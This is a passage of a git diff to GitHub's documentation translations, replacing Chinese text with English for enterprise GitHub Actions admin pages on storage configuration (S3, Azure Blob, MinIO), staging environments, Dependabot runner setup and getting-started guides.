b/translations/zh-CN/content/admin/github-actions/advanced-configuration-and-troubleshooting/using-a-staging-environment.md index 0d4d8bd0ac..56164309ab 100644 --- a/translations/zh-CN/content/admin/github-actions/advanced-configuration-and-troubleshooting/using-a-staging-environment.md +++ b/translations/zh-CN/content/admin/github-actions/advanced-configuration-and-troubleshooting/using-a-staging-environment.md @@ -1,6 +1,6 @@ --- -title: 使用暂存环境 -intro: '了解在 {% data variables.product.prodname_ghe_server %} 暂存环境中使用 {% data variables.product.prodname_actions %}。' +title: Using a staging environment +intro: 'Learn about using {% data variables.product.prodname_actions %} with {% data variables.product.prodname_ghe_server %} staging environments.' versions: ghes: '*' type: how_to @@ -11,25 +11,24 @@ topics: - Upgrades redirect_from: - /admin/github-actions/using-a-staging-environment -shortTitle: 使用暂存区域 +shortTitle: Use a staging area --- +It can be useful to have a staging or testing environment for {% data variables.product.product_location %}, so that you can test updates or new features before implementing them in your production environment. -为 {% data variables.product.product_location %} 提供临时或测试环境会有用，这样您就可以在生产环境中实施更新或新功能之前进行测试。 +A common way to create the staging environment is to use a backup of your production instance and restore it to the staging environment. -创建暂存环境的常见方法是使用生产实例的备份并将其恢复到暂存环境。 +When setting up a {% data variables.product.prodname_ghe_server %} staging environment that has {% data variables.product.prodname_actions %} enabled, you must use a different external storage configuration for {% data variables.product.prodname_actions %} storage than your production environment uses. Otherwise, your staging environment will write to the same external storage as production. -在设置启用 {% data variables.product.prodname_actions %} 的 {% data variables.product.prodname_ghe_server %} 暂存环境时，您必须对 {% data variables.product.prodname_actions %} 存储使用与生产环境所用不同的外部存储配置。 否则，您的暂存环境将写入与生产相同的外部存储。 +Expect to see `404` errors in your staging environment when trying to view logs or artifacts from existing {% data variables.product.prodname_actions %} workflow runs, because that data will be missing from your staging storage location. -在尝试从现有的 {% data variables.product.prodname_actions %} 工作流程查看日志或工件时，预期会看到 `404` 错误， 因为暂存位置中缺少该数据。 +Although it is not required for {% data variables.product.prodname_actions %} to be functional in your staging environment, you can optionally copy the files from the production storage location to the staging storage location. -虽然这不是 {% data variables.product.prodname_actions %} 在暂存环境中运行所必需的，但您可以选择性地将文件从生产存储位置复制到暂存位置。 - -* 对于 Azure 存储帐户，您可以使用 [`azcop`](https://docs.microsoft.com/en-us/azure/storage/common/storage-use-azcopy-blobs#copy-all-containers-directories-and-blobs-to-another-storage-account)。 例如： +* For an Azure storage account, you can use [`azcopy`](https://docs.microsoft.com/en-us/azure/storage/common/storage-use-azcopy-blobs#copy-all-containers-directories-and-blobs-to-another-storage-account). For example: ```shell azcopy copy 'https://SOURCE-STORAGE-ACCOUNT-NAME.blob.core.windows.net/SAS-TOKEN' 'https://DESTINATION-STORAGE-ACCOUNT-NAME.blob.core.windows.net/' --recursive ``` -* 对于 Amazon S3 存储桶，您可以使用 [`aws s3 sync`](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/s3/sync.html)。 例如： +* For Amazon S3 buckets, you can use [`aws s3 sync`](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/s3/sync.html). For example: ```shell aws s3 sync s3://SOURCE-BUCKET s3://DESTINATION-BUCKET diff --git a/translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-amazon-s3-storage.md b/translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-amazon-s3-storage.md index 9ce07bc712..d807e0ad35 100644 --- a/translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-amazon-s3-storage.md +++ b/translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-amazon-s3-storage.md @@ -1,6 +1,6 @@ --- -title: 使用 Amazon S3 存储启用 GitHub Actions -intro: '您可以在 {% data variables.product.prodname_ghe_server %} 上启用 {% data variables.product.prodname_actions %}，并使用 Amazon S3 存储来存储工作流程运行生成的构件。' +title: Enabling GitHub Actions with Amazon S3 storage +intro: 'You can enable {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %} and use Amazon S3 storage to store artifacts generated by workflow runs.' permissions: 'Site administrators can enable {% data variables.product.prodname_actions %} and configure enterprise settings.' versions: ghes: '*' @@ -12,34 +12,33 @@ topics: - Storage redirect_from: - /admin/github-actions/enabling-github-actions-with-amazon-s3-storage -shortTitle: Amazon S3 存储 +shortTitle: Amazon S3 storage --- - -## 基本要求 +## Prerequisites {% data reusables.actions.enterprise-s3-support-warning %} -在启用 {% data variables.product.prodname_actions %} 之前，请确保您已完成以下步骤： - -* 创建 Amazon S3 存储桶，用于存储工作流程运行生成的构件。 {% indented_data_reference reusables.actions.enterprise-s3-permission spaces=2 %} +Before enabling {% data variables.product.prodname_actions %}, make sure you have completed the following steps: +* Create your Amazon S3 bucket for storing artifacts generated by workflow runs. {% indented_data_reference reusables.actions.enterprise-s3-permission spaces=2 %} + {% data reusables.actions.enterprise-common-prereqs %} -## 使用 Amazon S3 存储启用 {% data variables.product.prodname_actions %} +## Enabling {% data variables.product.prodname_actions %} with Amazon S3 storage {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.actions %} {% data reusables.actions.enterprise-enable-checkbox %} -1. 在“Artifact & Log Storage（构件与日志存储）”下，选择 **Amazon S3**，然后输入您的存储桶详细信息： +1. Under "Artifact & Log Storage", select **Amazon S3**, and enter your storage bucket's details: - * **AWS 服务 URL**：存储桶的服务 URL。 例如，如果您的 S3 存储桶是在 `us-west-2` 区域中创建的，则此值应为 `https://s3.us-west-2.amazonaws.com`。 + * **AWS Service URL**: The service URL for your bucket. For example, if your S3 bucket was created in the `us-west-2` region, this value should be `https://s3.us-west-2.amazonaws.com`. - 更多信息请参阅 AWS 文档中的“[AWS 服务端点](https://docs.aws.amazon.com/general/latest/gr/rande.html)”。 - * **AWS S3 桶**：S3 存储桶的名称。 - * **AWS S3 访问密钥**和 **AWS S3 密钥**：用于存储桶的 AWS 访问密钥 ID 和密钥。 有关管理 AWS 访问密钥的更多信息，请参阅“[AWS 身份和访问管理文档](https://docs.aws.amazon.com/iam/index.html)”。 + For more information, see "[AWS service endpoints](https://docs.aws.amazon.com/general/latest/gr/rande.html)" in the AWS documentation. + * **AWS S3 Bucket**: The name of your S3 bucket. + * **AWS S3 Access Key** and **AWS S3 Secret Key**: The AWS access key ID and secret key for your bucket. For more information on managing AWS access keys, see the "[AWS Identity and Access Management Documentation](https://docs.aws.amazon.com/iam/index.html)." - ![用于选择 Amazon S3 存储的单选按钮和用于 S3 配置的字段](/assets/images/enterprise/management-console/actions-aws-s3-storage.png) + ![Radio button for selecting Amazon S3 Storage and fields for S3 configuration](/assets/images/enterprise/management-console/actions-aws-s3-storage.png) {% data reusables.enterprise_management_console.save-settings %} {% data reusables.actions.enterprise-postinstall-nextsteps %} diff --git a/translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-azure-blob-storage.md b/translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-azure-blob-storage.md index 842e0d56ac..038358298f 100644 --- a/translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-azure-blob-storage.md +++ b/translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-azure-blob-storage.md @@ -1,6 +1,6 @@ --- -title: 使用 Azure Blob 存储启用 GitHub Actions -intro: '您可以在 {% data variables.product.prodname_ghe_server %} 上启用 {% data variables.product.prodname_actions %}，并使用 Azure Blob 存储来存储工作流程运行生成的构件。' +title: Enabling GitHub Actions with Azure Blob storage +intro: 'You can enable {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %} and use Azure Blob storage to store artifacts generated by workflow runs.' permissions: 'Site administrators can enable {% data variables.product.prodname_actions %} and configure enterprise settings.' versions: ghes: '*' @@ -12,33 +12,33 @@ topics: - Storage redirect_from: - /admin/github-actions/enabling-github-actions-with-azure-blob-storage -shortTitle: Azure Blob 存储 +shortTitle: Azure Blob storage --- +## Prerequisites -## 基本要求 +Before enabling {% data variables.product.prodname_actions %}, make sure you have completed the following steps: -在启用 {% data variables.product.prodname_actions %} 之前，请确保您已完成以下步骤： - -* 创建用于存储工作流程构件的 Azure 存储帐户。 {% data variables.product.prodname_actions %} 将其数据存储为块 Blob，支持两种类型的存储帐户： - * 使用**标准**性能等级的**通用**存储帐户（也称为`通用的 v1` 或`通用 v2`）。 +* Create your Azure storage account for storing workflow artifacts. {% data variables.product.prodname_actions %} stores its data as block blobs, and two storage account types are supported: + * A **general-purpose** storage account (also known as `general-purpose v1` or `general-purpose v2`) using the **standard** performance tier. {% warning %} - **警告：**不支持对通用存储帐户使用**高级**性能等级。 在创建存储帐户时必须选择**标准**性能等级，并且以后不能更改。 + **Warning:** Using the **premium** performance tier with a general-purpose storage account is not supported. The **standard** performance tier must be selected when creating the storage account, and it cannot be changed later. {% endwarning %} - * **BlockBlobStorage** 存储帐户，使用**高级**性能等级。 + * A **BlockBlobStorage** storage account, which uses the **premium** performance tier. - 有关 Azure 存储帐户类型和性能等级的更多信息，请参阅 [Azure 文档](https://docs.microsoft.com/en-us/azure/storage/common/storage-account-overview?toc=/azure/storage/blobs/toc.json#types-of-storage-accounts)。 + For more information on Azure storage account types and performance tiers, see the [Azure documentation](https://docs.microsoft.com/en-us/azure/storage/common/storage-account-overview?toc=/azure/storage/blobs/toc.json#types-of-storage-accounts). {% data reusables.actions.enterprise-common-prereqs %} -## 使用 Azure Blob 存储启用 {% data variables.product.prodname_actions %} +## Enabling {% data variables.product.prodname_actions %} with Azure Blob storage {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.actions %} {% data reusables.actions.enterprise-enable-checkbox %} -1. 在“Artifact & Log Storage（构件与日志存储）”下，选择 **Azure Blob Storage（Azure Blob 存储）**，然后输入 Azure 存储帐户的连接字符串。 有关获取存储帐户的连接字符串的更多信息，请参阅 [Azure 文档](https://docs.microsoft.com/en-us/azure/storage/common/storage-account-keys-manage?tabs=azure-portal#view-account-access-keys)。 ![用于选择 Azure Blob 存储和连接字符串字段的单选按钮](/assets/images/enterprise/management-console/actions-azure-storage.png) +1. Under "Artifact & Log Storage", select **Azure Blob Storage**, and enter your Azure storage account's connection string. For more information on getting the connection string for your storage account, see the [Azure documentation](https://docs.microsoft.com/en-us/azure/storage/common/storage-account-keys-manage?tabs=azure-portal#view-account-access-keys). + ![Radio button for selecting Azure Blob Storage and the Connection string field](/assets/images/enterprise/management-console/actions-azure-storage.png) {% data reusables.enterprise_management_console.save-settings %} {% data reusables.actions.enterprise-postinstall-nextsteps %} diff --git a/translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-gateway-for-nas-storage.md b/translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-gateway-for-nas-storage.md index 50be680783..aa3e11ea08 100644 --- a/translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-gateway-for-nas-storage.md +++ b/translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-gateway-for-nas-storage.md @@ -1,6 +1,6 @@ --- -title: 使用 MinIO Gateway for NAS 存储启用 GitHub Actions -intro: '您可以在 {% data variables.product.prodname_ghe_server %} 上启用 {% data variables.product.prodname_actions %}，并使用 MinIO Gateway for NAS 存储来存储工作流程运行生成的构件。' +title: Enabling GitHub Actions with MinIO Gateway for NAS storage +intro: 'You can enable {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %} and use MinIO Gateway for NAS storage to store artifacts generated by workflow runs.' permissions: 'Site administrators can enable {% data variables.product.prodname_actions %} and configure enterprise settings.' versions: ghes: '*' @@ -12,34 +12,34 @@ topics: - Storage redirect_from: - /admin/github-actions/enabling-github-actions-with-minio-gateway-for-nas-storage -shortTitle: NAS 存储的 MinIO Gateway +shortTitle: MinIO Gateway for NAS storage --- - -## 基本要求 +## Prerequisites {% data reusables.actions.enterprise-s3-support-warning %} -在启用 {% data variables.product.prodname_actions %} 之前，请确保您已完成以下步骤： - -* 为避免设备上的资源争用，我们建议将 MinIO 与 {% data variables.product.product_location %} 分开托管。 -* 创建用于存储工作流程构件的桶。 要设置存储桶和访问密钥，请参阅 [MinIO 文档](https://docs.min.io/docs/minio-gateway-for-nas.html)。 {% indented_data_reference reusables.actions.enterprise-s3-permission spaces=2 %} +Before enabling {% data variables.product.prodname_actions %}, make sure you have completed the following steps: +* To avoid resource contention on the appliance, we recommend that MinIO be hosted separately from {% data variables.product.product_location %}. +* Create your bucket for storing workflow artifacts. To set up your bucket and access key, see the [MinIO documentation](https://docs.min.io/docs/minio-gateway-for-nas.html). {% indented_data_reference reusables.actions.enterprise-s3-permission spaces=2 %} + {% data reusables.actions.enterprise-common-prereqs %} -## 使用 MinIO Gateway for NAS 存储启用 {% data variables.product.prodname_actions %} +## Enabling {% data variables.product.prodname_actions %} with MinIO Gateway for NAS storage {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.actions %} {% data reusables.actions.enterprise-enable-checkbox %} -1. 在“Artifact & Log Storage（构件与日志存储）”下，选择 **Amazon S3**，然后输入您的存储桶详细信息： +1. Under "Artifact & Log Storage", select **Amazon S3**, and enter your storage bucket's details: - * **AWS 服务 URL**：MinIO 服务的 URL。 例如，`https://my-minio.example:9000`。 - * **AWS S3 桶**：S3 存储桶的名称。 - * **AWS S3 访问密钥**和 **AWS S3 密钥**：用于 MinIO 实例的 `MINIO_ACCESS_KEY` 和 `MINIO_SECRET_KEY`。 更多信息请参阅 [MinIO 文档](https://docs.min.io/docs/minio-gateway-for-nas.html)。 + * **AWS Service URL**: The URL to your MinIO service. For example, `https://my-minio.example:9000`. + * **AWS S3 Bucket**: The name of your S3 bucket. + * **AWS S3 Access Key** and **AWS S3 Secret Key**: The `MINIO_ACCESS_KEY` and `MINIO_SECRET_KEY` used for your MinIO instance. For more information, see the [MinIO documentation](https://docs.min.io/docs/minio-gateway-for-nas.html). - ![用于选择 Amazon S3 存储的单选按钮和用于 MinIO 配置的字段](/assets/images/enterprise/management-console/actions-minio-s3-storage.png) -1. 在“Artifact & Log Storage（构件与日志存储）”下，选择 **Force path style（强制路径样式）**。 ![强制路径样式的复选框](/assets/images/enterprise/management-console/actions-minio-force-path-style.png) + ![Radio button for selecting Amazon S3 Storage and fields for MinIO configuration](/assets/images/enterprise/management-console/actions-minio-s3-storage.png) +1. Under "Artifact & Log Storage", select **Force path style**. + ![Checkbox to Force path style](/assets/images/enterprise/management-console/actions-minio-force-path-style.png) {% data reusables.enterprise_management_console.save-settings %} {% data reusables.actions.enterprise-postinstall-nextsteps %} diff --git a/translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates.md b/translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates.md index 7ac55d93e9..5ebd02f920 100644 --- a/translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates.md +++ b/translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates.md @@ -21,13 +21,13 @@ shortTitle: Set up Dependabot updates {% endtip %} -## 关于 {% data variables.product.prodname_dependabot %} 更新 +## About {% data variables.product.prodname_dependabot %} updates When you set up {% data variables.product.prodname_dependabot %} security and version updates for {% data variables.product.product_location %}, users can configure repositories so that their dependencies are updated and kept secure automatically. This is an important step in helping developers create and maintain secure code. Users can set up {% data variables.product.prodname_dependabot %} to create pull requests to update their dependencies using two features. -- **{% data variables.product.prodname_dependabot_version_updates %}**: Users add a {% data variables.product.prodname_dependabot %} configuration file to the repository to enable {% data variables.product.prodname_dependabot %} to create pull requests when a new version of a tracked dependency is released. 更多信息请参阅“[关于 {% data variables.product.prodname_dependabot_version_updates %}](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/about-dependabot-version-updates)“。 +- **{% data variables.product.prodname_dependabot_version_updates %}**: Users add a {% data variables.product.prodname_dependabot %} configuration file to the repository to enable {% data variables.product.prodname_dependabot %} to create pull requests when a new version of a tracked dependency is released. For more information, see "[About {% data variables.product.prodname_dependabot_version_updates %}](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/about-dependabot-version-updates)." - **{% data variables.product.prodname_dependabot_security_updates %}**: Users toggle a repository setting to enable {% data variables.product.prodname_dependabot %} to create pull requests when {% data variables.product.prodname_dotcom %} detects a vulnerability in one of the dependencies of the dependency graph for the repository. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies)" and "[About {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates)." ## Prerequisites for {% data variables.product.prodname_dependabot %} updates @@ -37,7 +37,7 @@ Both types of {% data variables.product.prodname_dependabot %} update have the f - Configure {% data variables.product.product_location %} to use {% data variables.product.prodname_actions %}. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for GitHub Enterprise Server](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server)." - Set up one or more {% data variables.product.prodname_actions %} self-hosted runners for {% data variables.product.prodname_dependabot %}. For more information, see "[Setting up self-hosted runners for {% data variables.product.prodname_dependabot %} updates](#setting-up-self-hosted-runners-for-dependabot-updates)" below. -Additionally, {% data variables.product.prodname_dependabot_security_updates %} rely on the dependency graph, vulnerability data from {% data variables.product.prodname_github_connect %}, and {% data variables.product.prodname_dependabot_alerts %}. These features must be enabled on {% data variables.product.product_location %}. For more information, see "[Enabling the dependency graph and {% data variables.product.prodname_dependabot %} alerts on your enterprise account](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)." +Additionally, {% data variables.product.prodname_dependabot_security_updates %} rely on the dependency graph, vulnerability data from {% data variables.product.prodname_github_connect %}, and {% data variables.product.prodname_dependabot_alerts %}. These features must be enabled on {% data variables.product.product_location %}. For more information, see "[Enabling the dependency graph and {% data variables.product.prodname_dependabot_alerts %} on your enterprise account](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)." ## Setting up self-hosted runners for {% data variables.product.prodname_dependabot %} updates @@ -48,9 +48,10 @@ When you have configured {% data variables.product.product_location %} to use {% Any VM that you use for {% data variables.product.prodname_dependabot %} runners must meet the requirements for self-hosted runners. In addition, they must meet the following requirements. - Linux operating system -- The following dependencies installed: - - Docker running as the same user as the self-hosted runner application - - Git +- Git installed +- Docker installed with access for the runner users: + - We recommend installing Docker in rootless mode and configuring the runners to access Docker without `root` privileges. + - Alternatively, install Docker and give the runner users raised privileges to run Docker. The CPU and memory requirements will depend on the number of concurrent runners you deploy on a given VM. As guidance, we have successfully set up 20 runners on a single 2 CPU 8GB machine, but ultimately, your CPU and memory requirements will heavily depend on the repositories being updated. Some ecosystems will require more resources than others. @@ -70,8 +71,17 @@ If you specify more than 14 concurrent runners on a VM, you must also update the ### Adding self-hosted runners for {% data variables.product.prodname_dependabot %} updates -1. Provision self-hosted runners, at the repository, organization, or enterprise account level. 更多信息请参阅“[关于自托管的运行器](/actions/hosting-your-own-runners/about-self-hosted-runners)”和“[添加自托管的运行器](/actions/hosting-your-own-runners/adding-self-hosted-runners)”。 +1. Provision self-hosted runners, at the repository, organization, or enterprise account level. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)" and "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)." -2. Verify that the self-hosted runners meet the requirements for {% data variables.product.prodname_dependabot %} before assigning a `dependabot` label to each runner you want {% data variables.product.prodname_dependabot %} to use. For more information, see "[Using labels with self-hosted runners](/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners#assigning-a-label-to-a-self-hosted-runner)." +2. Set up the self-hosted runners with the requirements described above. For example, on a VM running Ubuntu 20.04 you would: -3. Optionally, enable workflows triggered by {% data variables.product.prodname_dependabot %} to use more than read-only permissions and to have access to any secrets that are normally available. For more information, see "[Troubleshooting {% data variables.product.prodname_actions %} for your enterprise](/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise#enabling-workflows-triggered-by-dependabot-access-to-dependabot-secrets-and-increased-permissions)." + - Verify that Git is installed: `command -v git` + - Install Docker and ensure that the runner users have access to Docker. For more information, see the Docker documentation. + - [Install Docker Engine on Ubuntu](https://docs.docker.com/engine/install/ubuntu/) + - Recommended approach: [Run the Docker daemon as a non-root user (Rootless mode)](https://docs.docker.com/engine/security/rootless/) + - Alternative approach: [Manage Docker as a non-root user](https://docs.docker.com/engine/install/linux-postinstall/#manage-docker-as-a-non-root-user) + - Verify that the runners have access to the public internet and can only access the internal networks that {% data variables.product.prodname_dependabot %} needs. + +3. Assign a `dependabot` label to each runner you want {% data variables.product.prodname_dependabot %} to use. For more information, see "[Using labels with self-hosted runners](/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners#assigning-a-label-to-a-self-hosted-runner)." + +4. Optionally, enable workflows triggered by {% data variables.product.prodname_dependabot %} to use more than read-only permissions and to have access to any secrets that are normally available. For more information, see "[Troubleshooting {% data variables.product.prodname_actions %} for your enterprise](/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise#enabling-workflows-triggered-by-dependabot-access-to-dependabot-secrets-and-increased-permissions)." diff --git a/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae.md b/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae.md new file mode 100644 index 0000000000..6b94aa303c --- /dev/null +++ b/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae.md @@ -0,0 +1,43 @@ +--- +title: Getting started with GitHub Actions for GitHub AE +shortTitle: Get started +intro: 'Learn about configuring {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_managed %}.' +permissions: 'Site administrators can enable {% data variables.product.prodname_actions %} and configure enterprise settings.' +versions: + ghae: '*' +type: how_to +topics: + - Actions + - Enterprise +redirect_from: + - /admin/github-actions/getting-started-with-github-actions-for-github-ae + - /admin/github-actions/using-github-actions-in-github-ae/getting-started-with-github-actions-for-github-ae +--- + +{% data reusables.actions.ae-beta %} + +## About {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_managed %} + +This article explains how site administrators can configure {% data variables.product.prodname_ghe_managed %} to use {% data variables.product.prodname_actions %}. + +{% data variables.product.prodname_actions %} is enabled for {% data variables.product.prodname_ghe_managed %} by default. To get started using {% data variables.product.prodname_actions %} within your enterprise, you need to manage access permissions for {% data variables.product.prodname_actions %} and add runners to run workflows. + +{% data reusables.actions.introducing-enterprise %} + +{% data reusables.actions.migrating-enterprise %} + +## Managing access permissions for {% data variables.product.prodname_actions %} in your enterprise + +You can use policies to manage access to {% data variables.product.prodname_actions %}. For more information, see "[Enforcing GitHub Actions policies for your enterprise](/admin/github-actions/enforcing-github-actions-policies-for-your-enterprise)." + +## Adding runners + +{% note %} + +**Note:** To add {% data variables.actions.hosted_runner %}s to {% data variables.product.prodname_ghe_managed %}, you will need to contact {% data variables.product.prodname_dotcom %} support. + +{% endnote %} + +To run {% data variables.product.prodname_actions %} workflows, you need to add runners. You can add runners at the enterprise, organization, or repository levels. For more information, see "[About {% data variables.actions.hosted_runner %}s](/actions/using-github-hosted-runners/about-ae-hosted-runners)." + +{% data reusables.actions.general-security-hardening %} \ No newline at end of file diff --git a/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md b/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md new file mode 100644 index 0000000000..8680be8654 --- /dev/null +++ b/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md @@ -0,0 +1,34 @@ +--- +title: Getting started with GitHub Actions for GitHub Enterprise Cloud +shortTitle: Get started +intro: 'Learn how to configure {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_cloud %}.' +permissions: 'Enterprise owners can configure {% data variables.product.prodname_actions %}.' +versions: + ghec: '*' +type: how_to +topics: + - Actions + - Enterprise +--- + +## About {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_cloud %} + +{% data variables.product.prodname_actions %} is enabled for your enterprise by default. To get started using {% data variables.product.prodname_actions %} within your enterprise, you can manage the policies that control how enterprise members use {% data variables.product.prodname_actions %} and optionally add self-hosted runners to run workflows. + +{% data reusables.actions.introducing-enterprise %} + +{% data reusables.actions.migrating-enterprise %} + +## Managing policies for {% data variables.product.prodname_actions %} + +You can use policies to control how enterprise members use {% data variables.product.prodname_actions %}. For example, you can restrict which actions are allowed and configure artifact and log retention. For more information, see "[Enforcing GitHub Actions policies for your enterprise](/admin/github-actions/enforcing-github-actions-policies-for-your-enterprise)." + +## Adding runners + +To run {% data variables.product.prodname_actions %} workflows, you need to use runners. {% data reusables.actions.about-runners %} If you use {% data variables.product.company_short %}-hosted runners, you will be be billed based on consumption after exhausting the minutes included in {% data variables.product.product_name %}, while self-hosted runners are free. For more information, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)." + +For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)." + +If you choose self-hosted runners, you can add runners at the enterprise, organization, or repository levels. For more information, see "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)" + +{% data reusables.actions.general-security-hardening %} \ No newline at end of file diff --git a/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md b/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md new file mode 100644 index 0000000000..cdddcb3c87 --- /dev/null +++ b/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md @@ -0,0 +1,151 @@ +--- +title: Getting started with GitHub Actions for GitHub Enterprise Server +shortTitle: Get started +intro: 'Learn about enabling and configuring {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %} for the first time.' +permissions: 'Site administrators can enable {% data variables.product.prodname_actions %} and configure enterprise settings.' +redirect_from: + - /enterprise/admin/github-actions/enabling-github-actions-and-configuring-storage + - /admin/github-actions/enabling-github-actions-and-configuring-storage + - /admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server + - /admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server +versions: + ghes: '*' +type: how_to +topics: + - Actions + - Enterprise +--- +{% data reusables.actions.enterprise-beta %} + +{% data reusables.actions.enterprise-github-hosted-runners %} + +## About {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %} + +This article explains how site administrators can configure {% data variables.product.prodname_ghe_server %} to use {% data variables.product.prodname_actions %}. + +{% data variables.product.prodname_actions %} is not enabled for {% data variables.product.prodname_ghe_server %} by default. You'll need to determine whether your instance has adequate CPU and memory resources to handle the load from {% data variables.product.prodname_actions %} without causing performance loss, and possibly increase those resources. You'll also need to decide which storage provider you'll use for the blob storage required to store artifacts generated by workflow runs. Then, you'll enable {% data variables.product.prodname_actions %} for your enterprise, manage access permissions, and add self-hosted runners to run workflows. + +{% data reusables.actions.introducing-enterprise %} + +{% data reusables.actions.migrating-enterprise %} + +## Review hardware considerations + +{% ifversion ghes = 3.0 %} + +{% note %} + +**Note**: If you're upgrading an existing {% data variables.product.prodname_ghe_server %} instance to 3.0 or later and want to configure {% data variables.product.prodname_actions %}, note that the minimum hardware requirements have increased. For more information, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/upgrading-github-enterprise-server#about-minimum-requirements-for-github-enterprise-server-30-and-later)." + +{% endnote %} + +{% endif %} + +{%- ifversion ghes < 3.2 %} + +The CPU and memory resources available to {% data variables.product.product_location %} determine the maximum job throughput for {% data variables.product.prodname_actions %}. + +Internal testing at {% data variables.product.company_short %} demonstrated the following maximum throughput for {% data variables.product.prodname_ghe_server %} instances with a range of CPU and memory configurations. You may see different throughput depending on the overall levels of activity on your instance. + +{%- endif %} + +{%- ifversion ghes > 3.1 %} + +The CPU and memory resources available to {% data variables.product.product_location %} determine the number of jobs that can be run concurrently without performance loss. + +The peak quantity of concurrent jobs running without performance loss depends on such factors as job duration, artifact usage, number of repositories running Actions, and how much other work your instance is doing not related to Actions. Internal testing at GitHub demonstrated the following performance targets for GitHub Enterprise Server on a range of CPU and memory configurations: + +{% endif %} + +{%- ifversion ghes < 3.2 %} + +| vCPUs | Memory | Maximum job throughput | +| :--- | :--- | :--- | +| 4 | 32 GB | Demo or light testing | +| 8 | 64 GB | 25 jobs | +| 16 | 160 GB | 35 jobs | +| 32 | 256 GB | 100 jobs | + +{%- endif %} + +{%- ifversion ghes > 3.1 %} + +| vCPUs | Memory | Maximum 